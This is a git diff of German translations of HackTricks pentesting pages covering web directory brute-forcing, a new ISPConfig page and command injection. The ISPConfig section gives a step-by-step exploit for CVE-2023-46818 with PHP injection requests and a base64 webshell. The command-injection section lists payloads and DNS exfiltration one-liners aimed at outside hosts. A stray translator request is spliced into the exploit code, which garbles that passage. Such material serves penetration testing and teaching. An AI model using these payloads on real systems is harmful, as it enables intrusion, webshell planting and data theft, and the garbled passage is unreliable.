- [**Gobuster**](https://github.com/OJ/gobuster) (go): Es erlaubt automatisch signierte Zertifikate, hat jedoch keine **rekursive** Suche.
+- **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**) aber funktionsfähig. Erlaubt self-signed certificates und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Erlaubt keine self-signed certificates, aber** rekursive Suche.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): Erlaubt self-signed certificates, es hat aber **keine** **rekursive** Suche.
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Schnell, unterstützt rekursive Suche.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 - [**ffuf** ](https://github.com/ffuf/ffuf)- Schnell: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Dies ist kein Spider, sondern ein Tool, das eine Liste gefundener URLs verwendet, um "duplizierte" URLs zu löschen.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-Erweiterung zur Erstellung einer Liste von Verzeichnissen aus der Burp-Historie verschiedener Seiten.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernt URLs mit duplizierten Funktionen (basierend auf JS-Imports).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Es verwendet Wappalyzer, um verwendete Technologien zu erkennen und die zu verwendenden Wortlisten auszuwählen.
+- [**uro**](https://github.com/s0md3v/uro) (python): Kein spider, sondern ein Tool, das aus einer Liste gefundener URLs doppelte Einträge entfernt.
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension, um aus dem Burp-History verschiedener Seiten eine Liste von Verzeichnissen zu erstellen.
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernt URLs mit doppelten Funktionalitäten (basierend auf js imports).
+- [**Chamaleon**](https://github.com/iustin24/chameleon): Verwendet Wappalyzer, um eingesetzte Technologien zu erkennen und passende Wortlisten auszuwählen.

-**Empfohlene Wörterbücher:**
+**Recommended dictionaries:**

 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** enthaltenes Wörterbuch](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
+- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
 - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Assetnote-Wortlisten](https://wordlists.assetnote.io)
+- [Assetnote wordlists](https://wordlists.assetnote.io)
 - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
 - raft-large-directories-lowercase.txt
 - directory-list-2.3-medium.txt
@ -267,83 +267,83 @@ Tools:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_

-_Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es brute-forced werden sollte._
+_Beachte, dass jedes Mal, wenn während des brute-forcing oder Spidering ein neues Verzeichnis entdeckt wird, dieses ebenfalls brute-forced werden sollte._

-### Was bei jeder gefundenen Datei zu überprüfen ist
+### What to check on each file found

- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Finden Sie defekte Links in HTMLs, die anfällig für Übernahmen sein könnten.
- **Dateisicherungen**: Sobald Sie alle Dateien gefunden haben, suchen Sie nach Sicherungen aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Variationen zur Benennung einer Sicherung sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Sie können auch das Tool [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** verwenden.**
- **Neue Parameter entdecken**: Sie können Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn Sie können, könnten Sie versuchen, versteckte Parameter in jeder ausführbaren Webdatei zu suchen.**
- _Arjun alle Standard-Wortlisten:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Findet broken links in HTMLs, die anfällig für takeovers sein könnten.
+- **File Backups**: Sobald du alle Dateien gefunden hast, suche nach Backups aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Gängige Varianten für Backup-Namen sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Du kannst auch die Tools [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**** verwenden.
+- **Discover new parameters**: Du kannst Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn möglich, solltest du versuchen, versteckte Parameter in jeder ausführbaren Web-Datei zu suchen.**
+- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Kommentare:** Überprüfen Sie die Kommentare aller Dateien, Sie können **Anmeldeinformationen** oder **versteckte Funktionen** finden.
- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (unter Verwendung von **Hunderte** von **Leerzeichen**, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu verstecken.
- **API-Schlüssel**: Wenn Sie **einen API-Schlüssel finden**, gibt es eine Anleitung, die angibt, wie man API-Schlüssel verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API-Schlüssel: Wenn Sie einen API-Schlüssel finden, der wie **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik aussieht, können Sie das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu überprüfen, auf welche APIs der Schlüssel zugreifen kann.
- **S3-Buckets**: Überprüfen Sie beim Spidering, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/index.html).
+- **Comments:** Prüfe die Kommentare aller Dateien; du kannst dort **Credentials** oder **versteckte Funktionalität** finden.
+- Wenn du in einem **CTF** spielst, ist ein gängiger Trick, **Informationen** in Kommentaren am **rechten Rand** der **Seite** zu **verstecken** (mit **hunderten** von **Spaces**, sodass du die Daten nicht siehst, wenn du den Source-Code im Browser öffnest). Eine andere Möglichkeit ist, mehrere neue Zeilen zu verwenden und Informationen in einem Kommentar am **Seitenende** zu verstecken.
+- **API keys**: Wenn du **irgendeinen API key** findest, gibt es Projekte, die zeigen, wie man API keys verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: Wenn du einen API key findest, der mit **AIza** beginnt (z.B. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik), kannst du das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu prüfen, welche APIs der Key aufrufen kann.
+- **S3 Buckets**: Während des Spidering prüfe, ob eine **Subdomain** oder ein **Link** mit einem **S3 bucket** zusammenhängt. In diesem Fall solltest du die [**Permissions** des Buckets prüfen](buckets/index.html).

-### Besondere Funde
+### Special findings

-**Während** Sie das **Spidering** und **Brute-Forcing** durchführen, könnten Sie **interessante** **Dinge** finden, die Sie **beachten** sollten.
+Während du das **spidering** und **brute-forcing** durchführst, kannst du auf **interessante** **Dinge** stoßen, die du beachten musst.

 **Interessante Dateien**

- Suchen Sie nach **Links** zu anderen Dateien in den **CSS**-Dateien.
- [Wenn Sie eine _**.git**_-Datei finden, können einige Informationen extrahiert werden](git.md)
- Wenn Sie eine _**.env**_-Datei finden, können Informationen wie API-Schlüssel, Datenbankpasswörter und andere Informationen gefunden werden.
- Wenn Sie **API-Endpunkte** finden, [sollten Sie diese ebenfalls testen](web-api-pentesting.md). Diese sind keine Dateien, sehen aber wahrscheinlich "so aus".
- **JS-Dateien**: Im Abschnitt Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hindeuten kann, dass eine potenzielle Sicherheitsanfälligkeit im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
- Sie sollten auch entdeckte JS-Dateien mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) überprüfen, um festzustellen, ob sie anfällig sind.
- **Javascript Deobfuscator und Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
+- Suche nach **Links** zu anderen Dateien innerhalb von **CSS** files.
+- [If you find a _**.git**_ file some information can be extracted](git.md)
+- Wenn du eine _**.env**_ findest, können dort API keys, DB-Passwörter und andere Informationen stehen.
+- Wenn du **API endpoints** findest, solltest du diese [auch testen](web-api-pentesting.md). Diese sind keine Dateien, werden aber wahrscheinlich wie solche aussehen.
+- **JS files**: In der Spidering-Sektion wurden mehrere Tools erwähnt, die Pfade aus JS files extrahieren können. Es ist außerdem interessant, **jede gefundene JS-Datei zu überwachen**, da eine Änderung darauf hinweisen kann, dass eine potenzielle Schwachstelle in den Code eingeführt wurde. Du könntest z.B. [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
+- Du solltest gefundene JS files auch mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) prüfen, um bekannte Vulnerabilities zu finden.
+- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck-Deobfuskation** (JavaScript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
+- **JsFuck deobfuscation** (javascript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex)
- Sie könnten auch die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung im Parameter oder das Auftauchen eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen könnte.
+- Oft musst du die verwendeten regulären Ausdrücke verstehen. Nützlich dafür sind: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex)
+- Du könntest außerdem Seiten überwachen, bei denen Formulare erkannt wurden, da eine Änderung in Parametern oder das Erscheinen eines neuen Formulars auf eine potenziell neue verwundbare Funktionalität hinweisen kann.

-**403 Forbidden/Basic Authentication/401 Unauthorized (Umgehung)**
+**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**


 {{#ref}}
 403-and-401-bypasses.md
 {{#endref}}

-**502 Proxy-Fehler**
+**502 Proxy Error**

-Wenn eine Seite mit diesem **Code** **antwortet**, handelt es sich wahrscheinlich um einen **schlecht konfigurierten Proxy**. **Wenn Sie eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** (mit dem Host-Header und anderen gängigen Headern) senden, wird der **Proxy** versuchen, auf _**google.com**_ **zuzugreifen**, und Sie haben eine **SSRF** gefunden.
+Wenn eine Seite mit diesem Code antwortet, ist wahrscheinlich ein schlecht konfigurierter Proxy verantwortlich. **Wenn du eine HTTP-Anfrage wie: `GET https://google.com HTTP/1.1`** sendest (mit dem Host-Header und anderen üblichen Headern), wird der **Proxy** versuchen, _**google.com**_ zu erreichen und du hättest damit eine SSRF gefunden.

-**NTLM-Authentifizierung - Informationsoffenlegung**
+**NTLM Authentication - Info disclosure**

-Wenn der laufende Server nach Authentifizierung fragt und **Windows** ist oder Sie ein Login finden, das nach Ihren **Anmeldeinformationen** (und nach dem **Domänennamen**) fragt, können Sie eine **Informationsoffenlegung** provozieren.\
-**Senden** Sie den **Header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise der **NTLM-Authentifizierung** wird der Server mit internen Informationen (IIS-Version, Windows-Version...) im Header "WWW-Authenticate" antworten.\
-Sie können dies mit dem **nmap-Plugin** "_http-ntlm-info.nse_" **automatisieren**.
+Wenn der anfragende Server für Authentication ein **Windows**-System ist oder du ein Login findest, das nach deinen **Credentials** (und nach einem **Domain** **Name**) fragt, kannst du eine **Information Disclosure** provozieren.\
+**Sende** den **Header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise von **NTLM authentication** wird der Server interne Infos (IIS version, Windows version...) im Header "WWW-Authenticate" zurückgeben.\
+Du kannst das mit dem **nmap plugin** "_http-ntlm-info.nse_" automatisieren.

-**HTTP-Weiterleitung (CTF)**
+**HTTP Redirect (CTF)**

-Es ist möglich, **Inhalte** in eine **Weiterleitung** einzufügen. Diese Inhalte **werden dem Benutzer nicht angezeigt** (da der Browser die Weiterleitung ausführt), aber es könnte etwas **versteckt** sein.
+Es ist möglich, **Inhalt** in eine **Redirection** zu packen. Dieser Inhalt **wird dem Nutzer nicht angezeigt** (da der Browser die Redirection ausführt), aber es könnte etwas darin **versteckt** sein.

-### Überprüfung von Web-Sicherheitsanfälligkeiten
+### Web Vulnerabilities Checking

-Jetzt, da eine umfassende Enumeration der Webanwendung durchgeführt wurde, ist es an der Zeit, nach vielen möglichen Sicherheitsanfälligkeiten zu suchen. Sie finden die Checkliste hier:
+Nachdem eine umfassende Enumeration der Web-Applikation durchgeführt wurde, ist es Zeit, viele mögliche Vulnerabilities zu prüfen. Die Checkliste findest du hier:


 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
 {{#endref}}

-Weitere Informationen zu Web-Sicherheitsanfälligkeiten finden Sie unter:
+Mehr Infos zu Web-Vulns:

 - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
 - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)

-### Seiten auf Änderungen überwachen
+### Monitor Pages for changes

-Sie können Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die Sicherheitsanfälligkeiten einfügen könnten.
+Du kannst Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die möglicherweise Vulnerabilities einführen.

-### HackTricks Automatische Befehle
+### HackTricks Automatic Commands
 ```
 Protocol_Name: Web    #Protocol Abbreviation if there is one.
 Port_Number:  80,443     #Comma separated if there is more than one.
--- a/src/network-services-pentesting/pentesting-web/ispconfig.md
+++ b/src/network-services-pentesting/pentesting-web/ispconfig.md
@ -0,0 +1,91 @@
+# ISPConfig
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Übersicht
+
+ISPConfig ist ein Open-Source-Hosting-Control-Panel. Ältere 3.2.x-Builds enthielten eine Language-File-Editor-Funktion, die, wenn sie für den Super-Administrator aktiviert war, das Einschleusen beliebigen PHP-Codes über einen fehlerhaften Übersetzungsdatensatz erlaubte. Dies kann RCE im Webserver-Kontext ermöglichen und — je nachdem, wie PHP ausgeführt wird — zur Privilegieneskalation führen.
+
+Wichtige Standardpfade:
+- Webroot befindet sich häufig unter `/var/www/ispconfig`, wenn mit `php -S` oder via Apache/nginx ausgeliefert.
+- Admin-UI erreichbar auf dem HTTP(S) vhost (manchmal nur an localhost gebunden; bei Bedarf SSH-Port-Forward verwenden).
+
+Tipp: Wenn das Panel lokal gebunden ist (z. B. `127.0.0.1:8080`), per SSH-Port-Forward weiterleiten:
+```bash
+ssh -L 9001:127.0.0.1:8080 user@target
+# then browse http://127.0.0.1:9001
+```
+## Language editor PHP code injection (CVE-2023-46818)
+
+- Betroffen: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
+- Voraussetzungen:
+- Einloggen als das eingebaute Superadmin-Konto `admin` (andere Rollen sind laut Hersteller nicht betroffen)
+- Der Language-Editor muss aktiviert sein: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
+- Auswirkung: Authentifizierter Admin kann beliebigen PHP-Code injizieren, der in eine Sprachdatei geschrieben und von der Anwendung ausgeführt wird, wodurch RCE im Web-Kontext erreicht wird
+
+Referenzen: NVD-Eintrag CVE-2023-46818 und der Advisory-Link des Herstellers in der Referenzen-Sektion weiter unten.
+
+### Manueller Exploit-Ablauf
+
+1) Öffnen/Erstellen einer Sprachdatei, um CSRF-Tokens zu erhalten
+
+Sende eine erste POST-Anfrage, um das Formular zu initialisieren und die CSRF-Felder aus der HTML-Antwort zu parsen (`csrf_id`, `csrf_key`). Beispiel Anfrangepfad: `/admin/language_edit.php`.
+
+2) PHP über records[] injizieren und speichern
+
+Sende eine zweite POST-Anfrage, die die CSRF-Felder und einen bösartigen Übersetzungseintrag enthält. Minimale Kommando-Ausführungs-Proben:
+```http
+POST /admin/language_edit.php HTTP/1.1
+Host: 127.0.0.1:9001
+Content-Type: application/x-www-form-urlencoded
+Cookie: ispconfig_auth=...
+
+lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
+```
+Out-of-band-Test (ICMP beobachten):
+```http
+records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
+```
+3) Dateien schreiben und eine webshell ablegen
+
+Verwende `file_put_contents`, um eine Datei unter einem web-erreichbaren Pfad (z. B. `admin/`) zu erstellen:
+```http
+records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
+```
+Dann schreibe eine einfache webshell, die base64 verwendet, um unerwünschte Zeichen im POST-Body zu vermeiden:
+```http
+records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
+```
+Bitte den Inhalt der Datei src/network-services-pentesting/pentesting-web/ispconfig.md hier einfügen (oder als Datei hochladen). Sobald ich den Text habe, übersetze ich ihn ins Deutsche und bewahre dabei exakt die Markdown-/HTML-Syntax, Links, Pfade, Tags und Code unverändert.
+```bash
+curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
+```
+Wenn PHP als root ausgeführt wird (z. B. via `php -S 127.0.0.1:8080`, als root gestartet), führt das zu sofortiger root RCE. Andernfalls erhält man Codeausführung als Webserver-Benutzer.
+
+### Python PoC
+
+Ein sofort einsetzbares exploit automatisiert das Token-Handling und die Payload-Auslieferung:
+- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
+
+Beispielausführung:
+```bash
+python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
+```
+### Härtung
+
+- Upgrade auf 3.2.11p1 oder neuer
+- Deaktivieren Sie den Spracheditor, sofern nicht unbedingt erforderlich:
+```
+admin_allow_langedit=no
+```
+- Führe das Panel nicht als root aus; konfiguriere PHP-FPM oder den Webserver so, dass die Privilegien reduziert werden
+- Erzwinge starke Authentifizierung für das eingebaute `admin`-Konto
+
+## Referenzen
+
+- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
+- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
+- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
+- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/command-injection.md
+++ b/src/pentesting-web/command-injection.md
@ -2,15 +2,15 @@

 {{#include ../banners/hacktricks-training.md}}

-## Was ist Command Injection?
+## Was ist command Injection?

-Eine **Command Injection** ermöglicht es einem Angreifer, beliebige Betriebssystembefehle auf dem Server, der eine Anwendung hostet, auszuführen. Infolgedessen kann die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle ermöglicht es dem Angreifer typischerweise, unbefugten Zugriff oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu erlangen.
+Eine **command injection** ermöglicht einem Angreifer die Ausführung beliebiger Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen kann die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle erlaubt dem Angreifer typischerweise, unautorisierten Zugriff oder Kontrolle über die Umgebung der Anwendung und das zugrunde liegende System zu erlangen.

 ### Kontext

-Je nachdem, **wo Ihre Eingabe injiziert wird**, müssen Sie möglicherweise den **zitierten Kontext beenden** (unter Verwendung von `"` oder `'`), bevor die Befehle ausgeführt werden.
+Je nachdem, **wo Ihre Eingabe injiziert wird**, müssen Sie möglicherweise den **zitierten Kontext beenden** (mit `"` oder `'`) bevor Sie die Befehle ausführen.

-## Command Injection/Ausführung
+## Command Injection/Execution
 ```bash
 #Both Unix and Windows supported
 ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
 ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
 ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
 ls %0A id # %0A Execute both (RECOMMENDED)
+ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

 #Only unix supported
 `ls` # ``
@ -29,9 +30,10 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 > /var/www/html/out.txt #Try to redirect the output to a file
 < /etc/passwd #Try to send some input to the command
 ```
-### **Limitation** Bypasses
+### **Limition** Bypasses
+
+Wenn du versuchst, **arbitrary commands inside a linux machine** auszuführen, solltest du dir diese **Bypasses** ansehen:

-Wenn Sie versuchen, **willkürliche Befehle auf einer Linux-Maschine auszuführen**, werden Sie an diesen **Bypasses** interessiert sein:

 {{#ref}}
 ../linux-hardening/bypass-bash-restrictions/
@ -45,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parameter

-Hier sind die 25 wichtigsten Parameter, die anfällig für Code-Injection und ähnliche RCE-Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+Hier sind die Top 25 Parameter, die anfällig für code injection und ähnliche RCE-Schwachstellen sein könnten (von [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@ -73,7 +75,7 @@ Hier sind die 25 wichtigsten Parameter, die anfällig für Code-Injection und ä
 ?run={payload}
 ?print={payload}
 ```
-### Zeitbasierte Datenexfiltration
+### Time based data exfiltration

 Daten extrahieren: Zeichen für Zeichen
 ```
@ -87,9 +89,9 @@ real    0m0.002s
 user    0m0.000s
 sys 0m0.000s
 ```
-### DNS basierte Datenexfiltration
+### DNS based data exfiltration

-Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, das auch unter dnsbin.zhack.ca gehostet wird.
+Basierend auf dem Tool von `https://github.com/HoLyVieR/dnsbin`, auch gehostet unter dnsbin.zhack.ca
 ```
 1. Go to http://dnsbin.zhack.ca/
 2. Execute a simple 'ls'
@ -99,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
 ```
 $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
 ```
-Online-Tools zur Überprüfung von DNS-basiertem Datenexfiltration:
+Online-Tools zur Überprüfung auf DNS-basierte Datenexfiltration:

 - dnsbin.zhack.ca
 - pingb.in

-### Filterumgehung
+### Umgehung von Filtern

 #### Windows
 ```
@ -120,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad

 ### Node.js `child_process.exec` vs `execFile`

-Beim Auditing von JavaScript/TypeScript-Back-Ends werden Sie häufig auf die Node.js `child_process` API stoßen.
+Beim Audit von JavaScript/TypeScript-Backends begegnet man häufig der Node.js `child_process`-API.
 ```javascript
 // Vulnerable: user-controlled variables interpolated inside a template string
 const { exec } = require('child_process');
@ -128,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` startet eine **Shell** (`/bin/sh -c`), daher führt jedes Zeichen, das eine spezielle Bedeutung für die Shell hat (Backticks, `;`, `&&`, `|`, `$()`, …), zu **Command Injection**, wenn Benutzereingaben in den String verkettet werden.
+`exec()` startet eine **shell** (`/bin/sh -c`), daher führt jedes Zeichen, das für die shell eine besondere Bedeutung hat (back-ticks, `;`, `&&`, `|`, `$()`, …), zu **command injection**, wenn Benutzereingaben in den String eingefügt werden.

-**Minderung:** Verwenden Sie `execFile()` (oder `spawn()` ohne die `shell`-Option) und geben Sie **jedes Argument als separates Array-Element** an, sodass keine Shell beteiligt ist:
+**Gegenmaßnahme:** Verwende `execFile()` (oder `spawn()` ohne die `shell`-Option) und übergebe **jedes Argument als separates Array-Element**, damit keine shell beteiligt ist:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@ -138,9 +140,9 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Echtweltfall: *Synology Photos* ≤ 1.7.0-0794 war über ein nicht authentifiziertes WebSocket-Ereignis ausnutzbar, das von Angreifern kontrollierte Daten in `id_user` einfügte, die später in einem `exec()`-Aufruf eingebettet wurden, was RCE erreichte (Pwn2Own Irland 2024).
+Praxisfall: *Synology Photos* ≤ 1.7.0-0794 war über ein nicht authentifiziertes WebSocket-Ereignis angreifbar, das vom Angreifer kontrollierte Daten in `id_user` platzierte, welche später in einem `exec()`-Aufruf eingebettet wurden und RCE ermöglichten (Pwn2Own Ireland 2024).

-## Brute-Force-Erkennungsliste
+## Brute-Force-Erkennungs-Liste


 {{#ref}}
@ -153,5 +155,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
 - [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
+- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
